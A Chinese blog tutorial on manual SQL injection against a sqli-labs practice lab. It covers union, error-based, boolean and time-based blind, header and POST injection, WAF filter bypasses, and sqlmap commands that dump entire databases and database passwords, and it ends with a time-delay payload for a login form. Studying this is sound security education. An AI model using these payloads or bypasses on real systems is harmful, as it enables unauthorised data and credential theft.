SQL注入漏洞手工挖掘大全（保姆级干货教学）

原创 已于 2024-08-23 15:28:20 修改 · 置顶 · 2.7k 阅读 · 44 ·
CC 4.0 BY-SA版权
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
文章标签：

#web安全 #网络安全 #sql #数据库

于 2024-03-27 12:31:41 首次发布
本文全面介绍SQL注入攻击的手工挖掘方法，涵盖联合查询、报错盲注、布尔盲注、时间盲注等多种技术手段，并提供了详细的步骤指导。

摘要生成于 C知道 ，由 DeepSeek-R1 满血版支持， 前往体验 >

更多干货POC获取，请关注公众号：如棠安全

目录

前言：

联合查询：

报错盲注

布尔盲注

时间盲注

HTTP头部注入

POST注入

WAF绕过

sqlmap工具常用参数

前言：

       mysql 5.0以下为低版本，5.0以上为高版本（有information_schema数据库）这个数据库是存储所有数据库名，表名，列名，相当于可以通过查询这个数据库获取指定数据库下面的表名列名信息。

  数据库中"."代表下一级，如haha.user表示haha数据库下的user表名

  information_schema.tables 记录所有表名信息的表

  information_schema.columns 记录所有列名信息的表

  information_schema.schemata 记录所有数据库信息的表

  table_schema 数据库名

  table_name 表名

  column_name 列名

  group_concat() 显示所有查询到的数据 --------------------（）此括号内可以加上数据库名、表名、列名

SQL注入步骤

  判断类型》对其进行闭合》获取数据库名》获取数据库表名》获取数据库列名》获取数据库字段。

联合查询：

（1）联合查询基本概念

  联合注入是回显注入的一种，也就是说联合注入的前提条件就是需要页面上能够有回显位。

  回显位就是客户端将数据展示在页面中，这个展示数据的位置就叫回显位。

（2）联合查询步骤

  判断注入点》判断注入类型（数字型或字符型）》判断字段数》判断显示位》确定数据库名》确定数据库的表名》确定数据库的列名》确定数据库的字段名》获取数据。

判断注入点：

1、数字型

输入？id=1 正常；

输入？id=1' 报错；

如果是以上情况的话我们就判断可能存在sql数字型注入漏洞。（因为我们输入的错误字符单引号，系统没有过滤并且将它执行了。）

2、字符型

        ?id=1 and 1=1--+ 正常

   ?id=1 and 1=2--+ 正常

再通过干扰字符来判断 ?id=1’ and 1=2--+ 不正常

如果是以上结果的话判断就为sql字符型注入漏洞。

   判断字段数：

输入order by 2 会查询出数据结果。但是输入order by 3 会报错。这说明该表中存在两个字段。

http://192.168.10.150/sqlilabs/Less-1/?id=1' order by 4--+

  判断回显点：

输入1 union select 1,2 会返回

  字符型：

输入-1' union select 1,2,3....n(n为字段数) 如下图所示：回显位是2和3

获取数据库名称和版本号：

数据库名为security 版本大于5所以存在information_schema表

http://www.sql.com/Less-1/?id=-1%27%20union%20select%201,database(),version()--+

确认数据库里的表名

查到表名为emails,referers,uagents,users

http://192.168.10.150/sqlilabs/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema="security"--+

确认user表里的字段名(列名)

http://192.168.10.150/sqlilabs/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name="users"--+

获取数据

我们获取到了数据

http://192.168.10.150/sqlilabs/Less-1/?id=-1' union select 1,group_concat(username),group_concat(password) from users--+

报错盲注

（1）报错盲注基本概念

      1）报错盲注的定义

  报错注入就是利用了数据库的某些机制，人为的制造错误的条件，使得查询的结果能够出现在错误的信息中。

      2）报错盲注的前提

  页面没有回显点，但是必须SQL语句能够执行错误的信息。

  优点：不需要显示位。

  缺点：需要有SQL语句的报错信息。

（2）报错盲注步骤

  构造目标数据查询语句》选择报错注入函数》构造报错注入语句》拼接报错注入语句。

（3）常用报错函数

  Floor、updatexml、extractvalue…等等。

（4）常用报错函数使用语法

       1）Updatexml()函数报错注入

  Updatexml()则负责修改查询到的内容

  语法：updatexml (XML_document, XPath_string, new_value);

  第一个参数：XML_document是String格式，为XML文档对象的名称，XML的内容。

  第二个参数：XPath_string (Xpath格式的字符串) ，是需要update的位置XPATH路径。

  第三个参数：new_value，String格式，更新后的内容

       2）extractvalue()函数报错注入

  extractvalue()函数作用：MYSQL对XML文档数据进行查询的XPATH函数。

  语法： extractvalue(xml_document, xpath_string)

  第一个参数：xml_document是string格式，为xml文档对象的名称

  第二个参数：xpath_string (xpath格式的字符串)

  extractvalue使用时当xpath_string格式出现错误，mysql则会爆出xpath语法错误

判断注入点

        ?id=1 and 1=1--+ 正常

   ?id=1 and 1=2--+ 正常

再通过干扰字符来判断 ?id=1’ and 1=2--+ 不正常

如果是以上结果的话判断就为sql字符型注入漏洞。

判断是否存在报错注入

（由于页面没有回显的地方，所以我们就直接判断是否是报错注入）

运用updatexml函数构建基本的语句对页面进行测试是否存在报错注入。

http://192.168.10.150/sqlilabs/Less-5/?id=1' and updatexml(1,'~',3)--+

确定数据库名

看到返回~符号后，说明存在报错注入漏洞。我们再获取数据库名。

http://192.168.10.150/sqlilabs/Less-5/?id=1' and updatexml(1,concat(0x7e,database()),3)--+

确定数据库的表名

把concat中database()换成正常的查询sql语句就可以了，和联合查询语句如出一辙。

http://192.168.10.150/sqlilabs/Less-5/?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security' )),3)--+

确定数据库列名

查看user表数据库的列名

http://192.168.10.150/sqlilabs/Less-5/?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' )),3)--+

确定数据库信息

可以通过limit来进行翻页查看

http://192.168.10.150/sqlilabs/Less-5/?id=1' and updatexml(1,concat(0x7e,(select group_concat(username) from users )),3)--+ http://192.168.10.150/sqlilabs/Less-5/?id=1' and updatexml(1,concat(0x7e,(select group_concat(password) from users )),3)--+

布尔盲注

       布尔盲注一般适用于页面没有回显位置，也就是不支持联合查询，同时web页面返回true或者false构造SQL语句，从而达到注入获取数据的目的。

布尔盲注步骤

       求数据库名的长度及ASCII》求当前数据库表的ASCII》求当前数据库表中的个数》求数据库中表名的长度》求数据库中表名》求列名的数量》求列名的长度》求列名的ASCII》求字段的数量》求字段的长度》求字段内容ASCII

（3）常用布尔函数使用语法

1）substr()截取函数

  语法：substr(str，start，length)

  第一个参数str为被截取的字符串。

  第二个参数start为开始截取的位置。

  第三个参数length为截取的长度。

  如：substr(user()，1，1)，从user中返回的数据的第一位开始偏移位置截取一位，后续需要获取其他的数据只需要修改参数即可。

2）left()截取函数

  语法：left(str，length)

  第一个参数str为被截取的字符串。

  第二个参数length为截取的长度。

  如：left(user()，2)，从user中返回的数据中截取前两位。

3）right()截取函数

  语法：rigth(user()，2)

  参考left()函数用法。

4）ascii()转换函数

  语法：ascii(char)

  第一个参数char为一个字符。

  如：ascii(user())若char为一串字符串，则返回的结果将是第一个字母的ASCII码，通常在使用中结合substr函数结合使用。Ascii(substr(user()1,1)),这样就可以获取user()中第一位字符的ASCII码。

5）length()计算函数

  语法：length(str)

  第一个参数str为字符串。

  如：length(admin)返回就是5。如果不是放某个字符串，放置表达式的时候，需要使用括号括起来。

6）ord()转换函数

  语法：ord(str)

  参考ascii()函数用法。

  如果存在没写到的函数，但是使用了，可以自行搜索。

判断注入点

       ?id=1 and 1=1–+ 正常

  ?id=1 and 1=2–+ 正常

  到这里其实基本上可以判断不是数字型了，那么就需要按照我们上面提到的干扰字符进行测试，可以按照上述的字段判断一条一条测试。

  ?id=1’ and 1=2–+ 不正常

判断此为字符型

猜测数据库版本号

数据库版本是5.6.17，这里的语句意思就是测试数据库版本第一位是不是5，通过返回的结果显示是对的。若不是5则页面返回错误，若是5则页面返回正确。

http://192.168.10.150/sqlilabs/Less-5/?id=1' and left (version(),1)=5--+

时间盲注

基本概念

       时间盲注就是通过拼接if语句，构造我们判断的条件，根据条件的结果返回sleep()函数，使得页面的响应时间比正常的响应时间长，但是这个会由于网络情况造成误判，所以在测试前需要测试正常访问页面的时长。

时间盲注基本步骤

      其实这里的基本步骤和布尔盲注都差不多，只不过是通过页面的响应时间来进行判断。

常用盲注函数

1）if()比较函数

  语法：if(cond，ture_result，False_result)

  第一个参数cond为判断条件。

  第二个参数ture_result为真时的返回结果。

  第三个参数false_result为假时的返回结果。

  如：?id=1 and 1=if (ascii(substr(user(),1,1))=97,1,2)

  如果user 的第一位是‘a’则将返回1，否则就返回2。然而，如果返回的是2，则会使and后的条件不成立，导致返回错误页面。这时我们可以根据页面的长度进行判定，从而达到盲注的效果。

2）sleep()睡眠函数

  语法：sleep(N)

  第一个参数N是睡眠的时间

  如：if (ascii(substr(user(),1,1))=114,sleep(5),2)

  这样的话，如果user的第一位是‘r’，则页面返回将延迟5秒。这里需要注意的是，这5秒是在服务器端的数据库中延迟的，实际情况可能会由于网络环境等因素延迟更长时间

  如果存在没写到的函数，但是使用了，可以自行搜索。

判断是否存在时间盲注

      先判断正常访问页面需要的时间，再写入payload后页面响应的时间。F12-----网络

防止网络因素造成的误判

http://192.168.10.150/sqlilabs/Less-8/?id=1' and sleep(5)--+

猜测数据库名长度

sleep(5),1 代表如果正确了等待5秒加载页面，错误了就秒加载页面

http://192.168.10.150/sqlilabs/Less-8/?id=1' and if(length(database())=8,sleep(5),1)--+

HTTP头部注入

HTTP头部注入基本概念

1）HTTP头部注入原理

  后台开发人员为了验证客户端HTTP Header（比如常用的Cookie验证等）或者通过HTTP Header头信息获取客户端的一些信息（例如：User-Agent、Accept字段等），会对客户端HTTP Header 进行获取并使用SQL语句进行处理，如果此时没有足够的安全考虑，就可能导致基于HTTP Header的注入漏洞

2）常见HTTP头部注入类型

  Cookie：网站为了辨别用户身份、进行session跟踪而存储在用户本地终端上的数据。

  User-agent：使服务器能够识别客户端使用的操作系统，浏览器版本等。

  Referer：浏览器向web服务器表名自己是从哪个页面过来的。

  X-forwarded-for：简称xff头，它代表客户端（即http的请求端）真实IP。

3）头部注入的前提

  能够对请求头消息进行修改，修改请求头信息能够带入数据库执行，数据库没有对输入的请求头做过滤。

     判断注入点

登录后发现有显示http头部User-agent信息。

     判断是否存在报错

可以通过burp抓包来修改User-agent值。

输入'单引号后发现有报错，即使用报错注入进行注入

使用报错语句进行测试

步骤基本与报错注入一致

User-Agent: 'and updatexml(1,0x7e,3)and '1'='1

确认数据库名

User-Agent: 'and updatexml(1,concat(0x7e,database()),3) and '

确认数据库版本号

User-Agent: 'and updatexml(1,concat(0x7e,version()),3) and '

确认数据库表名

User-Agent: 'and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security' )),3) and '

确认数据库列名

User-Agent: 'and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' )),3) and '

拿取数据

User-Agent: 'and updatexml(1,concat(0x7e,(select username from users limit 0,1 )),3) and '

POST注入

（1）post注入基本概念

1）post注入原理

  数据从客户端提交到服务器端，例如我们在登录过程中，输入用户名和密码，用户名和密码以表单的形式提交，提交到服务器后服务器再进行验证。这就是一次post的过程的。

2）post注入前提

  用户能够控制输入，原本程序要执行的代码，拼接了用户输入的数据。

3）post注入高危点

  登录框、查询框、等各种和数据库有交互的框。

（2）post注入思路

  在 post 过程中，我们输入的用户名和密码最后在后台处理的过程中依旧会形成前面所见到的 sql 语句，那么我们是否可以像 get 型的一样构造我们想要的 payload 呢？

判断注入点

输入：用户名：admin’ and 1=1#

  密码：随便输入 登录成功

判断字段数

uname=admin' order by 3#

判断回显点

注意前面要加个-

uname=-admin' union select 1,2#

确定数据库名

当然这里有时候用不了联合查询，可以使用报错、布尔等方式进行注入。

uname=-admin' union select database(),2#

WAF绕过

（1）WAF原理

1）WAF原理

  WAF（web application firewall）web应用防火墙，它工作在OSI模型的第七层，也就是我们所熟知的应用层，对来自Web应用程序客户端的各类请求进行内容检测和验证，确保其安全性与合法性，对非法的请求予以实时阻断，为Web应用提供防护，也称作应用防火墙，是网络安全纵深防御体系里重要的一环。WAF属于检测型及纠正型防御控制措施。

2）WAF分类

  WAF分为非嵌入型WAF和嵌入型WAF，非嵌入型指的是硬WAF、云WAF、虚拟机WAF之类的；嵌入型指的是web容器模块类型WAF、代码层WAF。

3）WAF工作过程

  解析HTTP请求》匹配规则》防御动作》记录日志

2.常见过滤

（1）空格过滤绕过

  ①　两个空格代替一个

  ②　用TAB代替空格

  ③　%a0=空格

  ④　若括号没被过滤可以使用括号进行过滤

  ⑤　%0B绕过

（2）or或and过滤绕过

  ①　大小写变形Or，OR，oR

  ②　编码

  ③　添加注释/or/

  ④　利用符号 and=&&，or=||

  ⑤　双写and=anandd,or=oorr

（3）#或–+过滤绕过

  ①　单引号闭合需要在后面增加一个单引号即可

  ②　双引号闭合需要在后面注入语句后面增加一个双引号

  ③　(‘’)单引号加括号这种需要多加一个or (‘’)=('1

  ④　(“”)双引号加括号这种需要多加一个or (“”)=("1

  ⑤　or ‘1’=’1进行闭合。

（4）union，select等关键字过滤绕过

  ①　大小写绕过uNIon,sEeCt

  ②　双写绕过uniunionon,selselctct

  ③　注释符绕过U/**/nion

  ④　内联注释/!union/

  ⑤　编码绕过

（5）等号过滤绕过

  ①　大于号小于号替代等号

  ②　like绕过

（6）函数过滤绕过

  ①　同功能函数替换mid()替换substring()

  ②　各类编码绕过

  当然还存在很多的绕过方式，可能还存在很多奇奇怪怪的绕过姿势，这里就总结一下常见的。

sqlmap工具常用参数

命令：sqlmap -r 55.txt -batch
#通过抓包保存为txt文件，然后通过sqlmap软件进行扫描

命令：Sqlmap -u "http://192.168.10.150/sqlilabs/Less-1/?id=1"  
#探测该页面是否存在漏洞。

命令：sqlmap -u "http://192.168.10.150/sqlilabs/Less-1/?id=1" --cookie="抓取的cookie"  
#当网站需要登录时，探测该页面是否存在漏洞。

命令：sqlmap -u "http://192.168.10.150/sqlilabs/Less-1/?id=1" --data="username=admin&password=admin&submit=submit" 
#抓取其post提交的数据填入

命令：sqlmap -u "http://192.168.10.150/sqlilabs/Less-1/?id=1" --dump-all
#一键脱库命令
      
命令：sqlmap -u "http://192.168.10.150/sqlilabs/Less-1/?id=1" --dbs        
#爆出所有的数据库

命令：sqlmap -u "http://192.168.10.150/sqlilabs/Less-1/?id=1" --tables     
#爆出所有的数据表

命令：sqlmap -u "http://192.168.10.150/sqlilabs/Less-1/?id=1" --columns    
#爆出数据库中所有的列

命令：sqlmap -u "http://192.168.10.150/sqlilabs/Less-1/?id=1" --current-db 
#查看当前的数据库

命令：sqlmap -u "http://192.168.10.150/sqlilabs/Less-1/?id=1" -D security --tables   
#爆出数据库security中的所有的表

命令：sqlmap -u "http://192.168.10.150/sqlilabs/Less-1/?id=1" -D security -T users --columns   
#爆出security数据库中users表中的所有的列

命令：sqlmap -u "http://192.168.10.150/sqlilabs/Less-1/?id=1" -D security -T users -C username --dump    
#爆出数据库security中的users表中的username列中的所有数据

命令：sqlmap -u "http://192.168.10.150/sqlilabs/Less-1/?id=1" -D security -T users -C username --dump --start 1 --stop 100     
#爆出数据库security中的users表中的username列中的前100条数据

sqlmap -u "http://192.168.10.150/sqlilabs/Less-1/?id=1" -D security -T users --dump-all 
#爆出数据库security中的users表中的所有数据

sqlmap -u "http://192.168.10.150/sqlilabs/Less-1/?id=1" -D security --dump-all 
#爆出数据库security中的所有数据

sqlmap -u "http://192.168.10.150/sqlilabs/Less-1/?id=1" --dump-all  
#爆出该数据库中的所有数据

sqlmap -u "http://192.168.10.150/sqlilabs/Less-1/?id=1" --users      
#查看数据库的所有用户

sqlmap -u "http://192.168.10.150/sqlilabs/Less-1/?id=1" --passwords  
#查看数据库用户名的密码

有时候使用 --passwords 不能获取到密码，则可以试下
-D mysql -T user -C host,user,password --dump  
当MySQL< 5.7时
-D mysql -T user -C host,user,authentication_string --dump  
当MySQL>= 5.7时

sqlmap -u "http://192.168.10.150/sqlilabs/Less-1/?id=1" --current-user  
#查看数据库当前的用户

sqlmap -u "http://192.168.10.150/sqlilabs/Less-1/?id=1" --is-dba    
#判断当前用户是否有管理员权限

sqlmap -u "http://192.168.10.150/sqlilabs/Less-1/?id=1" --roles     
#列出数据库所有管理员角色，仅适用于oracle数据库的时候

手测sql注入漏洞技巧

账号密码登陆处，测试延时注入
POST /Login/ToLogin HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
 
Admins_Account=1' AND (SELECT 8104 FROM (SELECT(SLEEP(5)))dEPM) AND 'JYpL'='JYpL&Admins_Pwd=

#Pauload为1' AND (SELECT 8104 FROM (SELECT(SLEEP(5)))dEPM) AND 'JYpL'='JYpL

-------------------------------------------------------------------------------------------

更多干货POC获取，请关注公众号：如棠安全

如棠安全
关注
《网络安全自学教程》- SQL注入漏洞详解
wangyuxiang946的博客
05-06 1万+
SQL注入常出现在哪些功能？SQL注入危害，SQL注入分类，判断是否存在SQL注入，SQL注入方式
SQL注入漏洞的检测及防御方法
leyang0910的博客
12-07 1004
SQL注入是一种攻击技术，攻击者通过在输入字段中插入恶意SQL代码，试图欺骗应用程序以执行不安全的数据库操作。这些恶意SQL代码将与应用程序的数据库进行交互，允许攻击者执行未授权的操作。SQL注入攻击通常针对使用动态SQL查询的Web应用程序，这些查询构建在未正确过滤或验证用户输入的基础上。SQL注入攻击通常涉及使用单引号、双引号、注释符号和逻辑运算符等特殊字符，以绕过应用程序的输入验证，构造恶意SQL查询。成功的攻击可能导致数据库泄漏、数据破坏、未授权访问、甚至完整的数据库服务器控制。
漏洞挖掘之SQL注入漏洞挖掘
2301_76694151的博客
04-14 420
输入1' and ascii(substr(database(),1,1))
如何检测和处理SQL注入？
最新发布
深山技术宅的博客
06-11 998
《SQL注入检测与防护全面指南》摘要：SQL注入是Web应用重大安全威胁，攻击者通过输入恶意SQL代码操控数据库。检测方法包括手工测试（特殊字符观察响应）、自动化工具（SQLMap、OWASP ZAP）和日志分析。防护措施推荐：①参数化查询（最有效）；②存储过程；③输入验证（白名单、类型转换）；④最小权限原则；⑤安全框架（Laravel、Symfony）；⑥WAF应用。动态表名需结合白名单验证，错误处理应记录日志但不显示细节。多层防御策略包括输入验证→预处理→权限控制→WAF→审计→入侵检测。最佳实践强调参
sql注入漏洞挖掘
若有战，召必回
12-13 1583
0x01路由信息在审计.net时，首先要看的就是web.config，其中包括了网站的一些配置文件，包括数据库的连接信息和网站访问的路由。其中 元素是用于配置 HTTP 处理程序的一部分。HTTP 处理程序是处理传入 HTTP 请求的组件，它们可以用于响应特定类型的请求。verb表示请求的方式，例如POST，GET。*表示任何方式。path表示请求的文件，*表示通配符。validate表示指定是否要验证已配置的 HTTP 处理程序。type表示请求该文件时处理类的名称空间完整路径。
SQL注入之SQL注入漏洞检测
fly_enum的博客
12-24 3056
SQL注入漏洞是一种常见的安全漏洞，攻击者可以通过注入恶意的SQL语句来获取敏感信息、篡改数据、甚至控制整个数据库。渗透测试工程师需要掌握SQL注入漏洞的检测技术，以便在测试中及时发现和利用漏洞。本文将从渗透测试工程师的角度，详细介绍SQL注入漏洞的检测基础，包括常见的注入点、注入方式、手工注入和自动化注入等。
[ 漏洞挖掘基础篇四 ] 漏洞挖掘之 SQL 注入挖掘
qq_51577576的博客
06-01 4371
sql 注入挖掘
SQL手工注入漏洞测试(MSSQL数据库)
硫酸超的博客
07-29 1190
MSSQL注入https://www.cnblogs.com/xishaonian/p/6173644.html https://www.cnblogs.com/xishaonian/p/6173644.html
SQL手工注入大全：包含各种类型的SQL注入，实现手工注入的乐趣，此资源你值得拥有。
05-31
此资源包含：宽字节注入、SQL手工注入漏洞测试(Oracle数据库)、SQL手工注入漏洞测试(Sql Server数据库)、SQL手工注入漏洞测试(Access数据库)、SQL手工注入漏洞测试(PostgreSQL数据库)、SQL手工注入漏洞测试(MongoDB...
SQL注入漏洞
lin__ying的博客
01-07 1762
SQL注入漏洞是一种常见的web应用程序安全漏洞，攻击者可利用这种漏洞来篡改或绕过应用程序的身份验证和授权机制，从而访问或控制数据库中的数据。联合注入是一种常见的针对数据库的注入攻击技术之一。在这个示例中，payload 是通过在输入参数中注入的，并且利用注入的查询条件来触发报错信息，以获取数据库的版本号。的SQL注入：攻击者可以利用应用程序中的时间函数，通过延长SQL查询的响应时间来推断SQL查询的结果。注入的SQL注入：攻击者可以利用应用程序中的联合查询功能，通过修改查询来访问或修改数据库中的数据。
SQL 注入漏洞原理以及修复方法_sql注入漏洞
2401_84969310的博客
05-13 1877
注：把magic_quotes_gpc选项打开，在这种情况下所有的客户端GET和POST的数据都会自动进行addslashes处理，所以此时对字符串值的SQL注入是不可行的，但要防止对数字值的SQL注入，如用intval()等函数进行处理。(2)Admin’ - -（或‘ or 1=1 or ‘ - -）(admin or 1=1 --) (MS SQL)(直接输入用户名，不进行密码验证)(3)用户名输入：admin 密码输入：’ or ‘1’=’1 也可以。
SQL注入手工检测sql注入检测
04-21
sql注入检测sql注入检测sql注入检测sql注入检测sql注入检测sql注入检测sql注入检测sql注入检测sql注入检测
正方教务系统新版sql注入漏洞利用工具
01-19
本人研究了/service.asmx中的其它接口，发现zfcwjk1存在同样的注入漏洞，特将注入方法写成工具供大家学习参考。 zfcwjk1似乎是一个财务类的确认接口，利用起来稍微麻烦点，需要一个目标学校的任意学号。 程序执行后...
sql注入漏洞和实验
2303_81447649的博客
02-29 1636
发现不管输入什么都不管用了这个时候布尔盲注就不适合我们了，布尔盲注对于页面的正确和错误有不同的回显，如果页面一直没有变化我们就可以用时间盲注其实时间盲注和布尔盲注没有多大的差别，时间盲注多了if和sleep()函数。在将数据存入到了数据库中之后，开发者就认为数据是可信的，在下一次需要进行查询的时候，直接从数据库中取出了恶意数据，没有进行进一步的检验和处理，就会造成二次注入。SQL注入攻击的本质，服务器没有过滤用户输入的恶意数据，直接把用户输入的数据当做SQL语句执行，从而影响数据库安全和平台安全。
记一次SQL注入
weixin_50607688的博客
07-04 429
由于传参是需要进行base64编码的，所以在使用sqlmap的时候需要用到tamper脚本中的base64encode.py脚本，只需要在常规的语句中机上—tamper base64encode.py即可。我们都知道sql注入的传参有些是明文的，有些是经过编码或者加密的，所以我们搜索的时候不要仅限于inurl:.php?id=1，可以额外的尝试搜搜1的base64编码值MQ==，即可以搜索。id=MQ==搜索到了一处存在sql注入的网站。（7）获取其中admin表的字段值。（8）获取对应的值。
SQL注入之手工注入
weixin_34187862的博客
04-08 248
SQL注入从注入的手法或者工具上分类的话可以分为：　　 　　·手工注入(手工来构造调试输入payload) 　　·工具注入(使用工具，如sqlmap) 今天就给大家说一下手工注入: 　　 手工注入流程 判断注入点 注入的第一步是得判断该处是否是一个注入点。或者说判断此处是否有SQL注入漏洞。最简单的判断方法就是在正常的参数后加单引号'。id=1' 以看到数据库报错...
手动漏洞挖掘(DVWA)SQL注入
weixin_30337251的博客
07-09 204
SQL注入的原因是因为服务器没有对 客户端数据进行判断，并且前端的数据是攻击者可以控制，攻击者就可以构造不同的语句对数据库进行任意操作 寻找SQL注入点方式： 1.查看是否报错，从而判断是否对输入的SQL语句进行筛查 还是基于DVWA，我们输入'1'的时候： 提示我们输入错误，这里显示'1'''说明页面在接受我们输入的时候，是将我们的数据放置...
SQL注入漏洞的漏洞挖掘与利用
Kali与编程
12-12 1782
新的注入技术的出现：随着数据库技术的不断发展和漏洞利用技术的不断进步，SQL注入漏洞利用的技术也会不断发展和改变。攻击者可能会开发新的注入技术，例如，基于机器学习的注入技术、基于深度学习的注入技术等等，这些技术将更加智能和复杂，可以更好地绕过检测和过滤。注入点是指通过SQL注入漏洞可控制的语句部分，攻击者可以通过注入点来执行一些SQL语句，例如，攻击者可以使用注入点来执行SELECT、UPDATE、DELETE等等操作。攻击者可能会利用云计算平台的漏洞来攻击数据库，或者利用物联网设备的漏洞来攻击应用程序。
挖漏洞之SQL注入
weixin_49349476的博客
12-03 1370
接受挖sql注入的方法，还有一些绕过方法
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值